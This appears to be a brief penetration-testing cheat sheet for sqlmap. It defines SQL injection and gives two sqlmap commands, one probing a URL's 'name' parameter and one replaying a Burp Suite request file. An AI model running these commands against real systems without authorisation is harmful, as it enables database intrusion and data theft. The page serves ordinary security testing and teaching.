.. / sqlmap

sqlmap automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

SQL Injection

Code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution.

Testing if paramater name is injectable

python sqlmap -u "https://203.0.113.10/get_user.php?id=0&lang=en&name=*"

Using a saved request intercepted by Burp Suite
```
python sqlmap -r /get_user.req -p "name"
```